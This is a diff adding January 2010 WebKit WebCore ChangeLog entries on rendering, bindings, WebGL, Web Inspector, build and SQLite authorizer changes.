+        Reviewed by Dimitri Glazkov.
+
+        [V8] Slow named property lookup on DOMWindow because of missing fast case
+        https://bugs.webkit.org/show_bug.cgi?id=33584
+
+        Add fast case checks to V8 named property getter on DOMWindow
+        objects.  If the property is not in the DOM there is no reason to
+        search the DOM for all occurrences.
+
+        Covered by layout tests.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::namedPropertyGetter):
+
+2010-01-13  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7403736> REGRESSION (r49963,r49965): 8% Dromaeo Core DOM test regression
+
+        Adding isolated worlds support to the JSC bindings introduced a regression due to
+        additional map lookups.  Add a mechanism to quickly detect that a lookup is for the
+        'normal' world, and add fast paths to a couple of methods to check the normal world
+        first.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::Document::getWrapperCache):
+        (WebCore::DOMWrapperWorld::DOMWrapperWorld):
+        (WebCore::forgetDOMObject):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMWrapperWorld::isNormal):
+        (WebCore::WebCoreJSClientData::WebCoreJSClientData):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::IsolatedWorld::IsolatedWorld):
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::createWrapperCache):
+        * dom/Document.h:
+
+2010-01-13  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Need to implement WebGLContextAttributes
+        https://bugs.webkit.org/show_bug.cgi?id=31169
+
+        Added the WebGLContextAttributes class and custom JavaScript
+        bindings to accept a native object as the second argument to
+        getContext("experimental-webgl") per the WebGL specification.
+        Added GraphicsContext3D::Attributes struct to isolate DOM and
+        graphics layers. Added getContextAttributes() to
+        WebGLRenderingContext. Added test case ensuring that context
+        attributes can be passed down and returned. Tested in Safari and
+        Chromium. The attributes will be hooked up to the creation of the
+        OpenGL context in bug 33416.
+
+        Test: fast/canvas/webgl/context-attributes.html
+
+        * DerivedSources.make:
+        * WebCore.gypi:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSHTMLCanvasElementCustom.cpp:
+        (WebCore::JSHTMLCanvasElement::getContext):
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/scripts/IDLParser.pm:
+        * bindings/v8/DOMData.cpp:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::V8HTMLCanvasElement::getContextCallback):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+        * html/HTMLCanvasElement.h:
+        * html/HTMLCanvasElement.idl:
+        * html/canvas/CanvasContextAttributes.cpp: Added.
+        (WebCore::CanvasContextAttributes::CanvasContextAttributes):
+        (WebCore::CanvasContextAttributes::~CanvasContextAttributes):
+        * html/canvas/CanvasContextAttributes.h: Added.
+        * html/canvas/WebGLContextAttributes.cpp: Added.
+        (WebCore::WebGLContextAttributes::create):
+        (WebCore::WebGLContextAttributes::WebGLContextAttributes):
+        (WebCore::WebGLContextAttributes::~WebGLContextAttributes):
+        (WebCore::WebGLContextAttributes::alpha):
+        (WebCore::WebGLContextAttributes::setAlpha):
+        (WebCore::WebGLContextAttributes::depth):
+        (WebCore::WebGLContextAttributes::setDepth):
+        (WebCore::WebGLContextAttributes::stencil):
+        (WebCore::WebGLContextAttributes::setStencil):
+        (WebCore::WebGLContextAttributes::antialias):
+        (WebCore::WebGLContextAttributes::setAntialias):
+        (WebCore::WebGLContextAttributes::premultipliedAlpha):
+        (WebCore::WebGLContextAttributes::setPremultipliedAlpha):
+        (WebCore::WebGLContextAttributes::attributes):
+        * html/canvas/WebGLContextAttributes.h: Added.
+        * html/canvas/WebGLContextAttributes.idl: Added.
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::create):
+        (WebCore::WebGLRenderingContext::getContextAttributes):
+        * html/canvas/WebGLRenderingContext.h:
+        * html/canvas/WebGLRenderingContext.idl:
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::create):
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        (WebCore::GraphicsContext3D::getContextAttributes):
+
+2010-01-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix Windows build.
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+
+2010-01-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Transition followed by animation fails to run the animation sometimes
+        https://bugs.webkit.org/show_bug.cgi?id=33563
+
+        If a transition was closely followed by an animation, it was possible for the cleanup
+        after the end of the transition to kill the animation.
+        
+        Fix this by including the keyframes name (or empty string for transitions) in the labels
+        used to identify CAAnimations on layers.
+        
+        No test because this was a subtle timing issue that is hard to reproduce in a layout test.
+
+        * platform/graphics/mac/GraphicsLayerCA.h: Some new methods and signature changes.
+        
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::animationIdentifier): Pass the keyframes name, since this is included in the identifier string now.
+        (WebCore::moveAllAnimationsForProperty): Pass the keyframes name.
+        (WebCore::GraphicsLayerCA::moveAnimationsForProperty): Try to move both transition- and animation-related
+        CAAnimations, using the list of running animations to get the keyframe names for the latter.
+
+        (WebCore::GraphicsLayerCA::ensureStructuralLayer): moveAnimation renamed to moveAnimationsForProperty
+        and takes the keyframes name.
+
+        (WebCore::GraphicsLayerCA::updateLayerAnimations): Pass keyframes name down (or "" for transitions).
+        (WebCore::GraphicsLayerCA::setAnimationOnLayer): Pass keyframes name down.
+        (WebCore::GraphicsLayerCA::removeAnimationFromLayer): Pass keyframes name down.
+        (WebCore::GraphicsLayerCA::pauseAnimationOnLayer): Pass keyframes name down.
+        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer): Pass keyframes name down.
+
+2010-01-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix shadow drawing to do the correct computations using the base coordinate space
+        https://bugs.webkit.org/show_bug.cgi?id=33629
+        
+        Shadows draw using the CGContext base CTM, so we need to convert the shadow offet
+        and size from user CTM into into base CTM coordinates, via the matix obtained from wkGetUserToBaseCTM().
+
+        Test: compositing/shadows/shadow-drawing.html
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+2010-01-13  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Oliver Hunt.
+
+        SVGClipPathElement shouldn't resolve style manually
+        https://bugs.webkit.org/show_bug.cgi?id=33647
+
+        Build renderers for SVGClipPathElement, so we can query the style from the renderer
+        instead of re-resolving style on every clip path resource invalidation.
+
+        * svg/SVGClipPathElement.cpp:
+        (WebCore::SVGClipPathElement::createRenderer):
+        (WebCore::SVGClipPathElement::canvasResource):
+        * svg/SVGClipPathElement.h:
+        (WebCore::SVGClipPathElement::isValid):
+
+2010-01-13  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector does not update the DOM tree when attributes change.
+        https://bugs.webkit.org/show_bug.cgi?id=20162
+
+        * dom/Element.cpp: Moves callbacks to InspectorController directly into setAttribute
+        and removeAttribute and removes the existing call sites. This makes it possible to
+        see attribute modifications.
+        (WebCore::Element::setAttribute):
+        (WebCore::Element::dispatchAttrRemovalEvent):
+        (WebCore::Element::dispatchAttrAdditionEvent):
+        (WebCore::Element::removeAttribute):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode.prototype._setAttributesPayload): Clear existing attributes.
+        (WebInspector.DOMAgent.prototype._didApplyDomChange): Updated call site and fixed style.
+        (WebInspector.DOMAgent.prototype._attributesUpdated): Added.
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype._attributesUpdated): Added.
+        (WebInspector.ElementsPanel.prototype.updateModifiedNodes): Updated call site.
+        * inspector/front-end/ElementsTreeOutline.js: Renamed _updateTitle to updateTitle.
+        (WebInspector.ElementsTreeElement.prototype.onattach): Updated updateTitle call site.
+        (WebInspector.ElementsTreeElement.prototype._textNodeEditingCommitted): Ditto.
+        (WebInspector.ElementsTreeElement.prototype._editingCancelled): Ditto.
+
+2010-01-13  Carol Szabo <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        CounterNode::nextInPreOrderAfterChildren(stayWithin) does not stay within.
+        https://bugs.webkit.org/show_bug.cgi?id=33625
+
+        No new tests because the fix should affect strictly performance.
+
+        * rendering/CounterNode.cpp:
+        (WebCore::CounterNode::nextInPreOrderAfterChildren):
+
+2010-01-13  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Oliver Hunt.
+
+        Window size changes are not propagated down the render tree
+        https://bugs.webkit.org/show_bug.cgi?id=33643
+
+        Test: svg/custom/relative-sized-content.xhtml
+
+        * rendering/RenderSVGContainer.cpp: Fix incorrect markParents=true usage, leading to unnecessary relayouts.
+        (WebCore::RenderSVGContainer::layout): Use new layoutChildren() method.
+        (WebCore::RenderSVGContainer::paint): Fix indention.
+        * rendering/RenderSVGHiddenContainer.cpp: Fix incorrect markParents=true usage.
+        (WebCore::RenderSVGHiddenContainer::layout): Use new layoutChildren() helper.
+        * rendering/RenderSVGRoot.cpp: Refactor existing code to layout children in SVGRenderSupport::layoutChildren.
+        (WebCore::RenderSVGRoot::layout): Make children relayouting depend on width/height changes, if the outermost svg uses relative viewport sizes.
+        * rendering/SVGRenderSupport.cpp: Add central place handling child layout, skips relayouting non-relative sized children as benefit.
+        (WebCore::SVGRenderBase::layoutChildren): This methods contains the actual changes.
+        * rendering/SVGRenderSupport.h:
+        * svg/SVGGElement.h: Remove dead code.
+        * svg/SVGSVGElement.h: Make hasRelativeValues() public to remove the need for friendship declarations.
+        * svg/SVGStyledElement.h: Change default return value for hasRelativeValues() to false, as it was intended.
+        (WebCore::SVGStyledElement::hasRelativeValues): Make it public, to be usable from SVGRenderSupport.
+        * svg/SVGSymbolElement.h: Remove dead code.
+        * svg/SVGUseElement.cpp: Implement hasRelativeValues() - it was simply missing here.
+        (WebCore::SVGUseElement::hasRelativeValues):
+        * svg/SVGUseElement.h:
+
+2010-01-13  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix websocket/tests/worker/worker-simple.html crash on Leopard Intel Debug (Tests) builder
+        https://bugs.webkit.org/show_bug.cgi?id=33581
+
+        unref m_workerContext when websocket is disconnected, so that avoid
+        keeping reference to workerContext longer than worker thread runs.
+
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::disconnect):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::waitForMethodCompletion):
+
+2010-01-12  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: selected, selectable, extended selectable, and multiple
+        selectable states are not reported
+
+        https://bugs.webkit.org/show_bug.cgi?id=33574
+        <rdar://problem/7536826>
+
+        Reviewed by Darin Adler.
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isMultiSelectable):
+        Use the correct function name - the function name overriden by
+        and used in AccessiblityRenderObject.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (setAtkStateSetFromCoreObject):
+        Update for function rename.
+        (webkit_accessible_selection_select_all_selection):
+        Ditto.
+
+2010-01-13  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Move more of the selection and caret painting code from Frame to SelectionController.
+        https://bugs.webkit.org/show_bug.cgi?id=33619
+
+        Helpful preparation step for a bug fix I am working on.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::SelectionController): Initialize new data members.
+        Note that m_caretVisible starts as true for the drag caret controller to match the
+        old behavior for painting.
+        (WebCore::SelectionController::setSelection): Changed to call selectionLayoutChanged
+        in its new name and location.
+        (WebCore::SelectionController::paintCaret): Added checks that were formerly done
+        at the Frame level. Tweaked formatting and changed to use early return as well.
+        (WebCore::SelectionController::focusedOrActiveStateChanged): Updated for call
+        moved into this class.
+        (WebCore::SelectionController::updateAppearance): Moved the
+        Frame::selectionLayoutChanged function here. Had to rename it because the word
+        "layout" is usedfor other purposes in this function.
+        (WebCore::SelectionController::setCaretVisible): Moved here from Frame.
+        (WebCore::SelectionController::clearCaretRectIfNeeded): Ditto.
+        (WebCore::SelectionController::caretBlinkTimerFired): Ditto.
+
+        * editing/SelectionController.h: Added new functions. Moved conditional function
+        out of class definition for clarity. Removed unneeded == and != operators.
+        Removed unneeded use of bit fields.
+
+        * page/Frame.cpp: Moved functions to SelectionController.
+        (WebCore::Frame::Frame): Removed initialization of moved data members.
+
+        * page/Frame.h: Removed things moved to SelectionController as well as unneeded
+        forward declaration of Timer class template.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout): Updated for new location of function.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paintCaret): Ditto.
+
+2010-01-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7532544>
+        
+        Expose new method on WebKitSystemInterface, WKGetUserToBaseCTM(), which will
+        be used for a shadow drawing fix.
+
+        * WebCore.base.exp:
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+
+2010-01-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix shadow drawing to do the correct computations using the base coordinate space
+        https://bugs.webkit.org/show_bug.cgi?id=33629
+
+        Step 1: do some renames in setPlatformShadow():
+            size -> offset
+            width -> xOffset
+            height -> yOffset
+        
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+2010-01-13  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] Move getSessionStorageNamespace from WebKitClient to WebViewClient
+        https://bugs.webkit.org/show_bug.cgi?id=33492
+
+        * page/Page.cpp:
+        (WebCore::Page::sessionStorage):
+        * storage/StorageNamespace.cpp:
+        (WebCore::StorageNamespace::sessionStorageNamespace):
+        * storage/StorageNamespace.h:
+        (WebCore::StorageNamespace::~StorageNamespace):
+
+2010-01-13  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Beth Dakin.
+
+        Repaint bug dragging a star shape with a dash stroke
+        https://bugs.webkit.org/show_bug.cgi?id=33406
+
+        Calculation of repaint rects for RenderPath objects was wrong. We must take the
+        union of strokeBoundingBox and objectBoundingBox, since the strokeBoundingBox
+        must not contain the objectBoundingBox. This is mainly visible on dash-arrays for
+        strokes.
+
+        Test: svg/custom/js-repaint-rect-on-path-with-stroke.svg
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::strokeBoundingBox):
+
+2010-01-13  Kevin Ollivier  <kevino@theolliviers.com>
+
+        [wx] Build fix. Make the XFORM operator work on wx port.
+
+        * platform/graphics/transforms/TransformationMatrix.h:
+        * wscript:
+
+2010-01-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Introduce SourceFrame2 with basic breakpoint / execution line
+        rendering capabilities.
+
+        Contains a drive-by naming fix (lineNumberOffset and lineNumberToOffset were
+        too close to each other, but were unrelated).
+
+        https://bugs.webkit.org/show_bug.cgi?id=33618
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/SourceFrame2.js: Added.
+        (WebInspector.SourceFrame2):
+        (WebInspector.SourceFrame2.prototype.set text):
+        (WebInspector.SourceFrame2.prototype.get executionLine):
+        (WebInspector.SourceFrame2.prototype.set executionLine):
+        (WebInspector.SourceFrame2.prototype.revealLine):
+        (WebInspector.SourceFrame2.prototype._toggleBreakpoint):
+        (WebInspector.SourceFrame2.prototype.resize):
+        (WebInspector.BreakpointLineNumberDecorator):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.decorate):
+        (WebInspector.BreakpointLineNumberDecorator.prototype._paintBreakpoint):
+        (WebInspector.BreakpointLineNumberDecorator.prototype._paintProgramCounter):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.mouseDown):
+        (WebInspector.ExecutionLineDecorator):
+        (WebInspector.ExecutionLineDecorator.prototype.decorate):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype.get textModel):
+        (WebInspector.TextEditor.prototype.set readOnly):
+        (WebInspector.TextEditor.prototype.set lineNumberDecorator):
+        (WebInspector.TextEditor.prototype.set lineDecorator):
+        (WebInspector.TextEditor.prototype.selectionRange):
+        (WebInspector.TextEditor.prototype._offsetToLine):
+        (WebInspector.TextEditor.prototype._lineToOffset):
+        (WebInspector.TextEditor.prototype.reveal):
+        (WebInspector.TextEditor.prototype._textChanged):
+        (WebInspector.TextEditor.prototype._updateSize):
+        (WebInspector.TextEditor.prototype.updateCanvasSize):
+        (WebInspector.TextEditor.prototype._repaintAll):
+        (WebInspector.TextEditor.prototype._paintLines):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        (WebInspector.TextEditor.prototype.paintLineNumbers):
+        (WebInspector.TextEditor.prototype._paintCurrentLine):
+        (WebInspector.TextEditor.prototype._mouseDown):
+        (WebInspector.TextEditor.prototype._caretForMouseEvent):
+        (WebInspector.TextEditor.prototype._keyDown):
+        (WebInspector.TextEditor.prototype._handleNavigationKey):
+        (WebInspector.TextEditor.prototype._textInput):
+        (WebInspector.TextEditor.prototype._updateCursor):
+        (WebInspector.TextEditor.prototype._paintSelection):
+        (WebInspector.TextEditor.prototype._initFont):
+
+2010-01-13  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Generate a function in the V8 bindings to convert v8 objects
+        to native WebCore objects.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Generate and use toNative().
+        * bindings/v8/V8Binding.cpp: Remove manually defined conversion helprs.
+        (WebCore::getElementStringAttr):
+        (WebCore::setElementStringAttr):
+        * bindings/v8/V8Binding.h: Remove manually defined conversion helprs.
+        * bindings/v8/V8SVGPODTypeWrapper.h: Still need a manually defined coversion helper for SVGPODTypes.
+        (WebCore::V8SVGPODTypeWrapper::toNative):
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
+        (WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
+        (WebCore::V8WebGLRenderingContext::getUniformCallback):
+
+2010-01-13  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        REGRESSION (r49268): DHTML drag not allowed unless event.dataTransfer.effectAllowed
+        is set (differs from HTML5).
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=33607> and <rdar://7507114>.
+
+        If no effectAllowed is set in the dragStart operation, we should default to
+        uninitialized instead of none, so the user doesn't have to manually set the
+        effectAllowed to enable drag and drop.
+
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::Clipboard):
+
+2010-01-13  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32495
+
+        font-size:small with background-color causes text to get clipped.  Make sure to only paint within the lineTop/lineBottom of
+        a line for quirky inline flow boxes that didn't contribute to the overall height of the line. 
+        
+        Added fast/backgrounds/quirks-mode-line-boxes-backgrounds.html
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::computeVerticalOverflow):
+        (WebCore::InlineFlowBox::paintBoxDecorations):
+        (WebCore::InlineFlowBox::paintMask):
+
+2010-01-13  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Refactoring DatabaseAuthorizer to use a CaseFoldingHash function
+        for the set of whitelisted sqlite functions, and fixing some
+        indenting issues.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33612
+
+        * storage/DatabaseAuthorizer.cpp:
+        (WebCore::DatabaseAuthorizer::allowFunction):
+        * storage/DatabaseAuthorizer.h:
+
+2010-01-13  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        RenderObject::nextInPreOrderAfterChildren(RenderObject* stayWithin) does not stay within
+        https://bugs.webkit.org/show_bug.cgi?id=33600
+
+        No new tests as this fix affects mainly performance.
+        No test has been found yet that could evidence the bug in the layout
+        of a page, but the fix to bug 32884 exposes this bug on some pages
+        such as http://www.w3.org/Style/CSS/Test/CSS2.1/current/html4/counters-scope-implied-001.htm
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::nextInPreOrderAfterChildren):
+
+2010-01-13  Jeremy Orlow  <jorlow@chromium.org>
+
+        No reviewer.  More or less a build fix.  My 53180 broke some 
+        stuff on the Chromium port so I'm reverting.
+
+        * page/Page.cpp:
+        (WebCore::Page::sessionStorage):
+        * storage/StorageNamespace.cpp:
+        (WebCore::StorageNamespace::sessionStorageNamespace):
+        * storage/StorageNamespace.h:
+        (WebCore::StorageNamespace::~StorageNamespace):
+
+2010-01-13  Steve Block  <steveblock@google.com>
+
+        Update appendClassName in jni_runtime.cpp to use WebCore::StringBuilder, rather than JSC::StringBuilder.
+        https://bugs.webkit.org/show_bug.cgi?id=33586
+
+        Avoiding the JSC version of StringBuilder allows this file to be used with both JSC and V8 on Android.
+
+        No new tests, refactoring only.
+
+        * bridge/jni/jni_runtime.cpp: Modified.
+        (JavaMethod::signature): Modified. Use WebCore::StringBuilder.
+
+2010-01-13  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Some objects in the global scope are not completed
+        https://bugs.webkit.org/show_bug.cgi?id=19119
+
+        Use Object.getOwnPropertyNames instead of for-in to provide completions, since
+        Object.getOwnPropertyNames reports both enumerable and non-enumerable properties.
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._getPropertyNames):
+        (InjectedScript.getCompletions):
+
+2010-01-13  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Android] [Qt] The JSC ScriptController does not consider Touch Events user gestures.
+        https://bugs.webkit.org/show_bug.cgi?id=33597
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGestureEvent): Add the touch event types (touchstart, touchmove and touchend) to the set of events that are considered user gestures.
+
+2010-01-13  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by Tor Arne Vestbø.
+
+        [Qt] REGRESSION(53187) Touchevent related tests fail
+
+        https://bugs.webkit.org/show_bug.cgi?id=33602
+
+        Pass the ENABLE_TOUCH_EVENTS to the IDL generators.
+
+        * WebCore.pri:
+
+2010-01-13  Ilya Tikhonovsky  <loislo@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        WebInspector: Timeline panel scrolling speed can be increased.
+        https://bugs.webkit.org/show_bug.cgi?id=33579
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype._scheduleRefresh):
+        (WebInspector.TimelinePanel.prototype._refresh):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+
+2010-01-13  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Split the build process in two different .pro files.
+        This allows qmake to be run once all source files are available.
+
+        * DerivedSources.pro: Added.
+        * WebCore.pri: Added. Contains common logic between source generation and compilation.
+        * WebCore.pro: Moved source generation to DerivedSources.pro.
+
+2010-01-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Scrolling editor to the 20Kth line is not smooth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33587
+
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype._textChanged):
+        (WebInspector.TextEditor.prototype._highlightChanged):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.highlight):
+        (WebInspector.TextEditorHighlighter.prototype._highlightInChunks):
+        (WebInspector.TextEditorHighlighter.prototype.updateHighlight):
+        (WebInspector.TextEditorHighlighter.prototype._highlightLines):
+        (WebInspector.TextEditorHighlighter.prototype._lex):
+        * inspector/front-end/TextEditorModel.js:
+        (WebInspector.TextEditorModel.prototype._setLine):
+        (WebInspector.TextEditorModel.prototype.setAttribute):
+        (WebInspector.TextEditorModel.prototype.getAttribute):
+        (WebInspector.TextEditorModel.prototype.removeAttribute):
+
+2010-01-13  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix the build on Windows.
+
+        PluginViewWin.cpp requires the conversion operator from TransformationMatrix to XFORM.
+
+        * WebCore.pro: Build TransformationMatrixWin.cpp.
+        * platform/graphics/transforms/TransformationMatrix.h: Enable the conversion operator to XFORM.
+
+2010-01-13  Miikka Heikkinen <miikka.heikkinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt/Symbian] Added missing vendor information to qtwebkit.sis
+
+        This information is necessary to Symbian sign the package.
+
+        http://bugreports.qt.nokia.com/browse/QTBUG-7290
+
+        * WebCore.pro:
+
+2010-01-11  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] Move getSessionStorageNamespace from WebKitClient to WebViewClient
+        https://bugs.webkit.org/show_bug.cgi?id=33492
+
+        * page/Page.cpp:
+        (WebCore::Page::sessionStorage):
+        * storage/StorageNamespace.cpp:
+        (WebCore::StorageNamespace::sessionStorageNamespace):
+        * storage/StorageNamespace.h:
+        (WebCore::StorageNamespace::~StorageNamespace):
+
+2010-01-12  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Adding a list of whitelisted sqlite functions that users are
+        allowed to use.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33549
+
+        * platform/sql/SQLiteDatabase.cpp:
+        (WebCore::SQLiteDatabase::authorizerFunction):
+        * storage/DatabaseAuthorizer.cpp:
+        (WebCore::DatabaseAuthorizer::DatabaseAuthorizer):
+        (WebCore::DatabaseAuthorizer::addWhitelistedFunctions):
+        (WebCore::DatabaseAuthorizer::allowFunction):
+        * storage/DatabaseAuthorizer.h:
+
+2010-01-12  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt][WebSocket] SocketStreamHandleSoup.cpp is misnamed
+        https://bugs.webkit.org/show_bug.cgi?id=33077
+
+        * WebCore.pro:
+        * platform/network/qt/SocketStreamHandleQt.cpp: Copied from WebCore/platform/network/qt/SocketStreamHandleSoup.cpp.
+        * platform/network/qt/SocketStreamHandleSoup.cpp: Removed.
+
+2010-01-12  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        position:fixed and transform on same element breaks fixed behavior
+        https://bugs.webkit.org/show_bug.cgi?id=31283
+
+        Fix interactions of transforms and fixed positioning, namely that fixed position
+        elements with a transformed ancestor are positioned relative to that ancestor,
+        and an element with both a transform and fixed position respects that positioning.
+        
+        Test: transforms/2d/transform-fixed-container.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::mapLocalToContainer):
+        (WebCore::RenderBox::mapAbsoluteToLocalPoint):
+        Transforms should not unconditionally stop the propagation of the 'fixed' flag to ancestors,
+        but only if the transformed element is not itself fixed.
+        
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::convertToLayerCoords):
+        Fix this method to behave correctly for fixed position layers whose container is not
+        the root, but some other (probably transformed) ancestor. In that case, we can fall into
+        the "position: absolute" code path.
+
+2010-01-12  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix an assert being triggered by how the Chromium port sets the
+        replacing flag for error pages.  This was caused by r53143.
+
+        Covered by existing Chromium UI tests.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::checkLoadCompleteForThisFrame):
+
+2010-01-12  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Geoffrey Garen.
+
+        [ES5] Implement Object.getOwnPropertyNames
+        https://bugs.webkit.org/show_bug.cgi?id=32242
+
+        Add new argument to reimplementations of getPropertyNames()
+        and getOwnPropertyNames(), and update the JS bindings generator.
+
+        Test: fast/js/Object-getOwnPropertyNames.html
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::getPropertyNames):
+        (WebCore::JSDOMWindow::getOwnPropertyNames):
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::JSDOMWindowShell::getPropertyNames):
+        (WebCore::JSDOMWindowShell::getOwnPropertyNames):
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::JSHistory::getOwnPropertyNames):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::getOwnPropertyNames):
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::getPropertyNames):
+        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyNames):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        * bindings/js/JSStorageCustom.cpp:
+        (WebCore::JSStorage::getOwnPropertyNames):
+        * bindings/scripts/CodeGeneratorJS.pm:
